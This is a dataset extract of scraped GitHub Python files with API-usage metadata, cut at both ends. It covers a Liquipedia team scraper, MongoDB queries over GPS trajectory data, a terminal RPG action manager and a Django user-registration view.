"usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5858, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5862, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5863, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5865, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5866, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5868, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5869, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5874, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5875, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5879, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5880, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5881, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5882, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5892, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5897, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5898, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5900, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5901, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5904, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5906, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5907, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5911, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5913, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5914, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5916, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5917, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5919, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5920, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5922, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5923, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5926, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5933, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5936, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5938, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5942, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5943, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5945, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5950, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5954, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5955, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5957, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5958, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5960, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5961, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5965, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5971, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5982, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5983, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5984, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5989, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5990, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5991, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5996, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5997, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5998, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 6000, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 6000, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 6002, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 6002, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 6004, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 6008, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 6009, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 6010, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 6012, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 6012, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 6015, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 6016, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 6019, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 6023, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 6024, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 6026, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 6026, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 6028, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 6029, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 6032, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 6036, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 6037, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 6038, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 6040, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 6042, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 6047, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 6048, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 6052, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 6053, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 6054, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 6055, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 6060, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 6237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6237, "usage_type": "attribute"}]}
{"seq_id": "25676485272", "text": "import json\nimport requests\nimport logging\nfrom bs4 import BeautifulSoup\n\n\ndef get_requests(url):\n    logging.info('Getting url')\n    logging.info(url)\n    res = requests.get(url)\n    logging.debug(res)\n    soup = BeautifulSoup(res.content, 'html.parser')\n    teams_tables = soup.find_all('div', class_='lp-col-12')\n    if teams_tables is None:\n        logging.info('No table found')\n    return teams_tables\n\n\ndef get_names(tables):\n    regions = []\n    for table in tables:\n        teams = []\n        region_name = table.find('h3').text.strip()\n        inside_table = table.find('div', class_='panel-box-body')\n        for team in inside_table.find_all('a'):\n            team_name = team.text.strip()\n            if not team_name:\n                continue\n            logging.debug('Team name:')\n            logging.debug(team_name)\n            teams.append(team_name)\n        region = {\n            'name': region_name,\n            'teams': teams\n        }\n        regions.append(region.copy())\n\n    return regions\n\n\ndef write_to_file(names):\n    logging.info('Started writing to file')\n    with open('teams_test.json', 'w', encoding='utf-8') as fp:\n        json.dump(names, fp, sort_keys=True, indent=4)\n    \n    logging.info('Write successful')\n\n\ndef write_namestxt(names):\n    logging.info('Writing to teams.txt')\n    with open('teams.txt', 'w', encoding='utf-8') as fp:\n        for name in names:\n            for team in name['teams']:\n                fp.write(team + '\\n')\n    \n    logging.info('Write successful')\n\n\ndef main():\n    logging.basicConfig(filename='webscraping.log', encoding='utf-8', level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\n    logging.info('Started')\n    urls = [\n        'https://liquipedia.net/leagueoflegends/Portal:Teams'\n    ]\n\n    teams = []\n    for url in urls:\n        data = get_requests(url)\n        regions = get_names(data)\n    \n    write_to_file(regions)\n    write_namestxt(regions)\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "sturdy-robot/liquiscrape", "sub_path": "try_teams.py", "file_name": "try_teams.py", "file_ext": "py", "file_size_in_byte": 2024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.info", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 9, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 11, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 42, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 44, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 56, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 60, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 60, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "70619582665", "text": "from dbConnector import DbConnector\nfrom haversine import haversine\n\n\nclass Repository:\n    \"\"\"\n    Class for querying the MongoDB database\n    \"\"\"\n\n    def __init__(self):\n        self.connection = DbConnector()\n        self.client = self.connection.client\n        self.db = self.connection.db\n\n    def sum_user_activity_trackpoint(self):\n        \"\"\"\n        Query 1 - Finding how many users, activities and trackpoints are there in the dataset\n        \"\"\"\n\n        user_sum = self.db.User.count()\n        activity_sum = self.db.Activity.count()\n        trackpoint_sum = self.db.TrackPoint.count()\n        return \"There are {} users, {:,} activities and {:,} trackpoints in the dataset\".format(\n            user_sum, activity_sum, trackpoint_sum).replace(\",\", \" \")\n\n    def average_number_of_activities_per_user(self):\n        \"\"\"\n        Query 2 - Find the average number of activities per user.\n        \"\"\"\n        res = self.db.Activity.aggregate([\n            {\n                '$group': {\n                    '_id': '$user_id',\n                    'sum': {\n                        '$count': {}\n                    }\n                }\n            }, {\n                '$group': {\n                    '_id': 'null',\n                    'avg': {\n                        '$avg': '$sum'\n                    }\n                }\n            }\n        ])\n\n        return 'The average number of activities per user is {:.2f}'.format(list(res)[0]['avg'])\n\n    def top_twenty_users(self):\n        \"\"\"\n        Query 3 - Find the top 20 users with the highest number of activities.\n        \"\"\"\n\n        res = self.db.Activity.aggregate([\n            {\n                '$group': {\n                    '_id': '$user_id',\n                    'count': {\n                        '$sum': 1\n                    }\n                }\n            },\n            {\n                '$sort': {\n                    'count': -1\n                }\n            },\n            {\n                '$limit': 20\n            }\n        ])\n\n        result = []\n        counter = 0\n        for row in res:\n            counter+=1\n            result.append([counter, row[\"_id\"], row[\"count\"]])\n        \n        return result\n\n    def users_taken_taxi(self):\n        \"\"\"\n        Query 4 - Find all users who have taken a taxi.\n        \"\"\"\n\n        res = self.db.Activity.aggregate([\n            {\n                '$match': {\n                    'transportation_mode': 'taxi'\n                }\n            },\n            {\n                '$group': {\n                    '_id': '$user_id'\n                }\n            },\n            {\n                '$sort': {\n                    '_id': 1\n                }\n            }\n        ])\n\n        result = []\n        for row in res:\n            result.append([row['_id']])\n        \n        return result\n\n    def activity_transport_mode_count(self):\n        \"\"\"\n        Query 5 - Find all types of transportation modes and count how many activities \n        that are tagged with these transportation mode labels. \n        Does not count the rows where the mode is null.\n        \"\"\"\n\n        res = self.db.Activity.aggregate([\n            {\n                '$match': {\n                    'transportation_mode': {\n                        '$ne': ''\n                    }\n                }\n            },\n            {\n                '$group': {\n                    '_id': '$transportation_mode',\n                    'count': {\n                        '$sum': 1\n                    }\n                }\n            },\n            {\n                '$sort': {\n                    'count': -1\n                }\n            }\n        ])\n\n        result = []\n        for row in res:\n            result.append([row['_id'], row['count']])\n\n        return result\n\n\n    def year_with_most_activities(self):\n        \"\"\"\n        Query 6 - Find the year with the most activities. Testing if this also is the year with most recorded hours\n        \"\"\"\n        # Query a - Find the year with the most activities.\n        res6a = self.db.Activity.aggregate([\n            {\n                '$group': {\n                    '_id': {\n                        '$year': '$start_date_time'\n                    },\n                    'count': {\n                        '$sum': 1\n                    }\n                }\n            },\n            {\n                '$sort': {\n                    'count': -1\n                }\n            },\n            {\n                '$limit': 1\n            }\n        ])\n\n        obj_res_6a = list(res6a)\n        year_a = obj_res_6a[0]['_id']\n        count_a = obj_res_6a[0]['count']\n\n        print(\"The year {} has the most activities with {:,} activities\".format(\n            year_a, count_a).replace(\",\", \" \"))\n\n        # Query b - Testing if this also is the year with most recorded hours\n        res6b = self.db.Activity.aggregate([\n            {\n                '$group': {\n                    '_id': {\n                        '$year': '$start_date_time'\n                    },\n                    'sum': {\n                        '$sum': {\n                            '$divide': [\n                                {\n                                    '$subtract': [\n                                        '$end_date_time', '$start_date_time'\n                                    ]\n                                }, 1000 * 60 * 60\n                            ]\n                        }\n                    }\n                }\n            },\n            {\n                '$sort': {\n                    'sum': -1\n                }\n            },\n            {\n                '$limit': 5\n            }\n        ])\n\n        obj_res_6b = list(res6b)\n        year_b = obj_res_6b[0]['_id']\n        sum_b = obj_res_6b[0]['sum']\n\n        print(\"The year {} has the most recorded hours with {:,} hours\".format(\n            year_b, round(sum_b)).replace(\",\", \" \"))\n\n        # Testing if the year with most activities also is the year with most recorded hours\n        if year_a == year_b:\n            print(\"\\nYes, this is also the year with most recorded hours!\\n\")\n        else:\n            print(\"\\nNo, this is not the year with most recorded hours\\n\")\n\n        result = []\n\n        for row in obj_res_6b:\n            result.append([row['_id'], round(row['sum'])])\n        \n        return result\n\n    def total_distance_in_km_walked_in_2008_by_userid_112(self):\n        \"\"\" \n        Query 7 - Find the total distance (in km) walked in 2008, by user with id = 112\n        \"\"\"\n\n        # Get all activity ids for user 112 in 2008 with transportation mode walk\n        res_activities = self.db.Activity.find({\n            \"user_id\": \"112\",\n            \"transportation_mode\": \"walk\"\n        }, {\n            \"_id\": False,\n            \"id\": True\n        })\n\n        activities_list = [x['id'] for x in res_activities]\n\n        # Use the activity ids to get the related trackpoints\n        res_trackpoints = self.db.TrackPoint.find({\n            \"activity_id\": {\n                \"$in\": activities_list\n            }\n        }, {\n            \"_id\": False,\n            \"id\": True,\n            \"activity_id\": True,\n            \"lat\": True,\n            \"lon\": True\n        })\n\n        trackpoints_list = list(res_trackpoints)\n\n        distance = 0\n\n        # Loop through the trackpoints and calculate the distance between each point\n        for i in range(len(trackpoints_list) - 1):\n            activity_id = trackpoints_list[i]['activity_id']\n            next_activity_id = trackpoints_list[i + 1]['activity_id']\n\n            # If the next trackpoint is not in the same activity we skip\n            # as we only want to calculate the distance between trackpoints in the same activity\n            if activity_id != next_activity_id:\n                continue\n            \n            lat1 = trackpoints_list[i]['lat']\n            lon1 = trackpoints_list[i]['lon']\n            lat2 = trackpoints_list[i + 1]['lat']\n            lon2 = trackpoints_list[i + 1]['lon']\n\n            # Calculate the distance between the two points using haversine\n            distance += haversine((lat1, lon1), (lat2, lon2))\n\n        return distance\n\n    def top_20_users_gained_most_altitude_meters(self):\n        \"\"\"\n        Query 8 - Find the top 20 users who have gained the most altitude meters.\n        \"\"\"\n\n        res = self.db.TrackPoint.find({}, {\n            '_id': False,\n            'user_id': True,\n            'activity_id': True,\n            'altitude': True  \n        })\n\n        trackpoint_altitudes = list(res)\n        user_altitude = dict()\n\n        # Calculating the altitude gained for each user\n        for index in range(len(trackpoint_altitudes)):\n            # Breaking if the last trackpoint is reached\n            if index == len(trackpoint_altitudes) - 1:\n                break\n\n            user_id = trackpoint_altitudes[index]['user_id']\n            activity_id = trackpoint_altitudes[index]['activity_id']\n            next_activity_id = trackpoint_altitudes[index + 1]['activity_id']\n\n            # We can only calculate the altitude gain if we have two trackpoints from the same activity\n            if activity_id != next_activity_id:\n                continue\n\n            # Initialize the user_altitude dict if the user_id is not in it\n            if user_id not in user_altitude:\n                user_altitude[user_id] = 0\n\n            altitude = trackpoint_altitudes[index]['altitude']\n            next_altitude = trackpoint_altitudes[index + 1]['altitude']\n\n            # If one of the altitudes are null they were -777 before cleanup and are invalid\n            if not altitude or not next_altitude:\n                continue\n\n            altitude_diff = next_altitude - altitude\n            user_altitude[user_id] += altitude_diff\n\n        # Sorting the dict by the altitude gained\n        user_altitude_array = sorted(\n            user_altitude.items(), key=lambda x: x[1], reverse=True)\n\n        result = []\n\n        for i, (user_id, altitude) in enumerate(user_altitude_array[:20]):\n            result.append([i + 1, user_id, round(altitude)])\n        \n        return result\n\n    def invalid_activities_per_user(self):\n        \"\"\"\n        Query 9 - Find all users who have invalid activities, and the number of invalid activities per user\n        \"\"\"\n\n        res = self.db.TrackPoint.find({}, {\n            '_id': False,\n            'user_id': True,\n            'activity_id': True,\n            'date_time': True\n        })\n\n        trackpoints = list(res)\n        invalid_user_activities = dict()\n\n        # Comparing every two trackpoints to see if they are invalid\n        for index in range(len(trackpoints)):\n            # Breaking if the last trackpoint is reached\n            if index == len(trackpoints) - 1:\n                break\n\n            user_id = trackpoints[index]['user_id']\n            activity_id = trackpoints[index]['activity_id']\n            next_activity_id = trackpoints[index + 1]['activity_id']\n\n            # We can only compare if we have two trackpoints from the same activity\n            if activity_id != next_activity_id:\n                continue\n\n            # Initialize the invalid_activities dict if the user_id is not in it\n            if user_id not in invalid_user_activities:\n                invalid_user_activities[user_id] = set()\n\n            date_time = trackpoints[index]['date_time']\n            next_date_time = trackpoints[index + 1]['date_time']\n\n            date_time_diff = next_date_time - date_time\n            if date_time_diff.seconds > 60 * 5:\n                invalid_user_activities[user_id].add(activity_id)\n\n        # Sorting the dict by the date_time gained\n        sorted_invalid_activities = sorted(invalid_user_activities.items())\n\n        result = []\n\n        for user_id, activities in sorted_invalid_activities:\n            result.append([user_id, len(activities)])\n        \n        return result\n\n    def users_tracked_activity_in_the_forbidden_city_beijing(self):\n        \"\"\"\n        Query 10 - Find the users who have tracked an activity in the Forbidden City of Beijing.\n        \"\"\"\n\n        res = self.db.TrackPoint.aggregate([\n            {\n                '$match': {\n                'lat': {\n                    '$gte': 39.916,\n                    '$lte': 39.917\n                },\n                'lon': {\n                    '$gte': 116.397,\n                    '$lte': 116.398\n                }\n                }\n            },\n            {\n                '$group': {\n                '_id': '$user_id',\n                }\n            }\n        ])\n\n        result = []\n\n        for row in list(res):\n            result.append(f\"User {row['_id']} has trackpoints in the forbidden city\\n\")\n\n        return result\n\n    def most_used_transportation_mode_per_user(self):\n        \"\"\"\n        Query 11 - Find all users who have registered transportation_mode and their most used transportation_mode\n        \"\"\"\n\n        # Getting all users who have registered a transportation_mode\n        res = self.db.Activity.find({\n            'transportation_mode': {\n                '$ne': ''\n            }\n        }, {\n            '_id': False,\n            'user_id': True,\n            'transportation_mode': True\n        })\n\n        activities = list(res)\n\n        user_transportation_mode = dict()\n\n        for activity in activities:\n            user_id = activity['user_id']\n            transportation_mode = activity['transportation_mode']\n\n            # Initialize the user_transportation_mode dict if the user_id is not in it\n            if user_id not in user_transportation_mode:\n                user_transportation_mode[user_id] = dict()\n\n            # Initialize the transportation_mode dict if the transportation_mode is not in it\n            if transportation_mode not in user_transportation_mode[user_id]:\n                user_transportation_mode[user_id][transportation_mode] = 0\n\n            # Increment the count for the given transportation_mode\n            user_transportation_mode[user_id][transportation_mode] += 1\n\n        # Sorting the dict by the date_time gained\n        sorted_user_transportation_mode = sorted(user_transportation_mode.items())\n\n        result = []\n\n        for user_id, transportation_modes in sorted_user_transportation_mode:\n            transportation_mode = max(transportation_modes, key=transportation_modes.get)\n            result.append([user_id, transportation_mode, transportation_modes[transportation_mode]])\n        \n        return result\n", "repo_name": "erikssommer/geolife-gps-trajectory-dataset-mongodb", "sub_path": "src/repository.py", "file_name": "repository.py", "file_ext": "py", "file_size_in_byte": 14483, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dbConnector.DbConnector", "line_number": 11, "usage_type": "call"}, {"api_name": "haversine.haversine", "line_number": 280, "usage_type": "call"}]}
{"seq_id": "21508881720", "text": "from ui import battle_stats\nfrom typing import Union\nfrom battle_abilities.ability import *\nfrom battle_entities.char_and_squad import Character, Ownership\n\n\n# It manages the user's input in order to make an action.\n# The Action Phase Caller is required only to set the skip and quit battle option at the Phase Loop\nclass PlayerActionManager:\n\n    def __init__(self, ActionPhaseCaller, current_char: Character, all_chars):\n\n        self.all_chars = all_chars\n        print(f\"\\nTURN: {current_char.name}\")\n        print(battle_stats.get_char_card(current_char))  # prints the current char card\n\n        action_done = False\n        while not action_done:\n\n            action_kind = input(f\"What should {current_char.name} do? [1:Atk] [2:Spell] [3:Skip] [4:Quit]: \")\n\n            if action_kind.capitalize() == \"Atk\" or action_kind == \"1\":\n                atk = PhysicalAtk()\n                target_char: Character = self._get_a_target_by_name_from_player_and_validate_target(current_char, atk.can_affect_allies, atk.can_affect_caster)\n                if target_char == \"RETURN\":  # if the player picks a char called return target will be \"RETURN\"\n                    continue\n                atk.exec(current_char, target_char)\n                print(f\"{current_char.name} attacked {target_char.name}: tot dmg(atk-def) = {atk.dmg}\\n\")\n                action_done = True\n\n            elif action_kind.capitalize() == \"Spell\" or action_kind == \"2\":\n                spell = PlayerActionManager.get_a_spell_in_char_from_player_and_validate_spell(current_char)\n                if spell == \"RETURN\":  # if player has chosen return spell won't be a Spell, will be \"RETURN\"\n                    continue\n                target = self._get_a_target_by_name_from_player_and_validate_target(current_char, spell.can_affect_allies, spell.can_affect_caster, spell.can_affect_enemy)\n                if target == \"RETURN\":  # if the player picks a char called return target will be \"RETURN\"\n                    continue\n                spell.exec(current_char, target)\n                action_done = True\n\n            elif action_kind.capitalize() == \"Skip\" or action_kind == \"3\":\n                ActionPhaseCaller._force_skip_turn, action_done = True, True\n\n            elif action_kind.capitalize() == \"Quit\" or action_kind == \"4\":\n                ActionPhaseCaller.force_quit_battle, action_done = True, True\n\n    @staticmethod\n    def get_a_spell_in_char_from_player_and_validate_spell(current_char: Character) -> Union[Spell, str]:\n        if not current_char.have_spells():\n            print(f\"invalid, {current_char.name} doesn't have any spells\")\n        else:\n            battle_stats.display_char_spells(current_char)\n            while True:  # gets a valid spell asking its index\n                spell_input = input(\"insert a spell number or type return to choose another action: \")\n                if spell_input.upper() == \"RETURN\":\n                    return \"RETURN\"\n                elif not (spell_input.isnumeric()):\n                    print(\"invalid input, please insert a index\")\n                elif spell_input.isnumeric():\n                    spell_index = int(spell_input)\n                    if 0 <= spell_index < len(current_char.spells):\n                        spell: Spell = current_char.spells[spell_index]\n                        if current_char.mana < spell.mana_cost:\n                            print(f\"{spell.name} cost({spell.mana_cost}) > {current_char.name} mana {current_char.mana}\")\n                        else:\n                            return spell\n                    else:\n                        print(f\"invalid input, there is no spell with index {spell_input}\")\n\n    def _get_a_target_by_name_from_player_and_validate_target(self, current_char: Character, can_pick_allies: bool, can_pick_itself: bool, can_pick_enemy: bool = True) -> Union[Character, str]:\n        target_char: Character = None\n        while not isinstance(target_char, Character):\n            chosen_char_name = input(f\"Which char should {current_char.name} pick? insert its name or type return: \").capitalize()\n            if chosen_char_name == \"\":\n                continue\n            if chosen_char_name.upper() == \"RETURN\":\n                return \"RETURN\"\n            # gets the chosen char among the avaliables one in battle\n            for char in self.all_chars:\n                if char.name.capitalize() == chosen_char_name:\n                    target_char = char\n            # checks if the chosen char is valid according to those rules\n            if target_char is None:\n                print(f\"invalid input, {chosen_char_name} does not exist\")\n            elif target_char is current_char and not(can_pick_itself):\n                print(\"invalid input, this ability can't affect its caster\")\n                target_char = None\n            elif target_char.is_dead():\n                print(f\"invalid input, {target_char.name} is already dead\")\n                target_char = None\n            elif (not can_pick_allies) and target_char.ownership == current_char.ownership:\n                print(f\"invalid input, this ability doesn't allow picking an ally\")\n                target_char = None\n            if target_char.ownership == Ownership.ENEMY and can_pick_enemy == False:\n                print(f\"invalid input, this ability doesn't allow picking an enemy\")\n                target_char = None\n\n        return target_char\n", "repo_name": "MargaridaTeles/JNeto_Productions_Python_Terminal_RPG", "sub_path": "battle_core/action_phase_and_dependencies/player_action_manager.py", "file_name": "player_action_manager.py", "file_ext": "py", "file_size_in_byte": 5433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "battle_entities.char_and_squad.Character", "line_number": 11, "usage_type": "name"}, {"api_name": "ui.battle_stats.get_char_card", "line_number": 15, "usage_type": "call"}, {"api_name": "ui.battle_stats", "line_number": 15, "usage_type": "name"}, {"api_name": "battle_entities.char_and_squad.Character", "line_number": 24, "usage_type": "name"}, {"api_name": "battle_entities.char_and_squad.Character", "line_number": 48, "usage_type": "name"}, {"api_name": "ui.battle_stats.display_char_spells", "line_number": 52, "usage_type": "call"}, {"api_name": "ui.battle_stats", "line_number": 52, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 48, "usage_type": "name"}, {"api_name": "battle_entities.char_and_squad.Character", "line_number": 70, "usage_type": "name"}, {"api_name": "battle_entities.char_and_squad.Character", "line_number": 71, "usage_type": "name"}, {"api_name": "battle_entities.char_and_squad.Character", "line_number": 72, "usage_type": "argument"}, {"api_name": "battle_entities.char_and_squad.Ownership.ENEMY", "line_number": 94, "usage_type": "attribute"}, {"api_name": "battle_entities.char_and_squad.Ownership", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 70, "usage_type": "name"}]}
{"seq_id": "872280408", "text": "from django.shortcuts import render\nimport json\nfrom uuid import uuid4\n\nfrom django.http import HttpResponse, response\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom . models import User\nfrom django.core import serializers\n\n\nfile_path = 'file.json'\n\nclass UsersList(APIView):\n        def get(self, request):\n                if request.GET.get('email', ''):\n                        with open(file_path, 'r', encoding='utf-8') as f:\n                                user_data = json.load(f)\n                                for k, v in user_data.items():\n                                        if request.GET.get('email', '') == v[\"fields\"][\"email\"]:\n                                                return Response(v[\"fields\"])   \n                \n                                return Response([{\"Error\": \"Could not find user\"}],status=status.HTTP_400_BAD_REQUEST)\n\n                with open(file_path, 'r', encoding='utf-8') as f:\n                        user_data = json.load(f)\n                        user_list = []\n                        for k,v in user_data.items():\n                                user_list.append(v[\"fields\"])\n                        return Response(user_list)\n                \n\n                \n\n        def post(self, request):\n                pay_load = json.loads(request.body)\n                try:\n                        first_name = pay_load['firstname']\n                        last_name = pay_load['lastname']\n                        email = pay_load['email']\n                        if first_name == \"\" or last_name == \"\" or email == \"\":\n                                return Response({\"Error\": \"Missing fields\"},status=status.HTTP_400_BAD_REQUEST)\n                except Exception:\n                        return Response({\"Error\": \"Missing fields\"},status=status.HTTP_400_BAD_REQUEST)\n                \n                id = str(uuid4())\n                new_user = User(firstname=first_name, lastname=last_name, email=email, id=id)\n               \n                user_json = json.loads(serializers.serialize(\"json\", [new_user,]))\n                \n                data = {}\n                with open(file_path, 'r', encoding='utf-8') as f:\n                        \"\"\"read json file\"\"\"\n                        dict_map = json.load(f)\n                        dict = dict_map.items()\n                        for k,v in dict:\n                                if user_json[0][\"fields\"][\"email\"] == v[\"fields\"][\"email\"]:\n                                        return Response({\"Error\": \"User already Exists\"},status=status.HTTP_400_BAD_REQUEST)\n\n                        dict = {k: v for k, v in dict}\n\n                        \"\"\"new user\"\"\"\n                        dict[user_json[0][\"pk\"]] = user_json[0]\n                        data = {k: v for k, v in dict.items()}\n\n                with open(file_path, 'w') as f:\n                        json.dump(data, f)\n                        return Response({\"message\":\"success\"}, status=status.HTTP_201_CREATED)\n              \n", "repo_name": "smithjilks/crediation-test-0x01", "sub_path": "crediation_test/users/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3078, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 15, "usage_type": "name"}, {"api_name": "json.load", "line_number": 19, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 22, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 24, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 24, "usage_type": "name"}, {"api_name": "json.load", "line_number": 27, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 31, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 37, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 43, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 43, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 43, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 45, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 45, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 45, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 47, "usage_type": "call"}, {"api_name": "models.User", "line_number": 48, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 50, "usage_type": "call"}, {"api_name": "django.core.serializers.serialize", "line_number": 50, "usage_type": "call"}, {"api_name": "django.core.serializers", "line_number": 50, "usage_type": "name"}, {"api_name": 